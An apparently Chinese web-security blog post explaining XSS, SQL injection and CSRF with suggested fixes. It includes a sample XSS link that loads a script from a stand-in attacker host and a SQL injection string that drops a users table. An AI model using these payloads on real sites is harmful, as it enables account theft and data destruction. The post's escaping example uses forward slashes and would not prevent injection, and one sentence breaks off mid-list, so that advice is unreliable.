站点安全

2024/6/15 | 字数检测:1712
AI摘要

文章介绍了常见的网络攻击。XSS(跨站脚本)允许攻击者通过网站注入客户端脚本到用户浏览器,以获取隐私信息,分为反射型和持久型,解决方案是禁用可运行代码的HTML标签。SQL注入使恶意用户执行任意SQL代码来访问、修改或删除数据库数据,防范方法是对用户输入的特殊字符进行转义。CSRF(跨站请求伪造)则利用用户身份执行操作,可通过在每次请求时生成特殊密钥进行验证来解决。此外,文章还提及了DDoS和命令行注入等攻击。

XSS 攻击(跨站脚本)

基本定义:XSS 是一个术语,用来描述一类允许攻击者通过网站将客户端脚本代码注入到其他用户的浏览器中的攻击手段。

例如拿到一个用户的 cookie 来获得用户个人隐私信息。

通常分为两类:反射型和持久性 XSS

  • 反射型 XSS

反射型 XSS 攻击发生在当传递给服务器的用户数据被立即返回并在浏览器中原样显示的时候——当新页面载入的时候原始用户数据中的任何脚本都会被执行! 举个例子,假如有个站点搜索函数,搜索项被当作 URL 参数进行编码,这些搜索项将随搜索结果一同显示。攻击者可以通过构造一个包含恶意脚本的搜索链接作为参数(例如 http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js">),然后把链接发送给另一个用户。如果目标用户点击了这个链接,当显示搜索结果时这个脚本就会被执行。正如上述讨论的,这促使攻击者获取了所有需要以目标用户进入站点的信息——可能会购买物品或分享联系人信息。

  • 持久型 XSS 攻击:

恶意脚本存储在站点中,然后再原样地返回给其他用户,在用户不知情的情况下执行。 举个例子,接收包含未经修改的 HTML 格式评论的论坛可能会存储来自攻击者的恶意脚本。这个脚本会在评论显示的时候执行,然后向攻击者发送访问该用户账户所需的信息。这种攻击类型及其常见而且有效,因为攻击者不需要与受害者有任何直接的接触。 尽管 POST 和 GET 方式获取到的数据是 XSS 攻击最常见的攻击来源,任何来自浏览器的数据都可能包含漏洞(包括浏览器渲染过的 Cookie 数据以及用户上传和显示的文件等). 解决方案:防范 XSS 攻击的最好方式就是删除或禁用任何可能包含可运行代码指令的标记。对 HTML 来说,这些包括类似

SQL 注入

SQL 注入漏洞使得恶意用户能够通过在数据库上执行任意 SQL 代码,从而允许访问、修改或删除数据,而不管该用户的权限如何。成功的注入攻击可能会伪造身份信息、创建拥有管理员权限的身份、访问服务器上的任意数据甚至破坏/修改数据使其变得无法使用。 简单来说就是在本来执行的 SQL 语句中加入攻击者的 SQL,从而操作数据库。 像是这样

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';

本来我们只是想接收一个用户名,然后攻击者通过;,来执行一段它插入的 SQL,造成攻击。

解决方案:我们可以对用户输入的特殊字符进行转义,比如对输入的' 或者 "进行转义,让 SQL 执行时,被认为用户输入的是一个完完全全的字符串。

SELECT * FROM users WHERE name = 'a/';DROP TABLE users; SELECT * FROM userinfo WHERE /'t/' = /'t';

这样就可以解决 SQL 注入的风险了。

跨站请求伪造(CSRF)

CSRF 攻击允许恶意用户在另一个用户不知情的情况下利用其身份信息执行操作。 这个还是比较变态,攻击者伪造一个比如 POST 请求,放在一个按钮里面,其它一旦点击,就像你在该网站实际操作一样,他就会发起一个请求,比如是转账之类的(当然转账的网站没有这么鸡肋),就完成了这个操作,用户完全不知道他干了什么,就像什么也没有发生,如果服务器要本地的 cookie 信息,因为是网站用户自己的浏览器,当然储存着这些信息,请求顺利完成。 解决方案:可以在每次发请求时,由请求的站点生成一个特殊的密钥(网站本身,如果是伪造的,在那个发请求的网站不会生成这样一个密钥,自然就组织了这场交易),验证用户安全。

常见其他攻击:DDos,命令行注入

更新时间:2024/6/15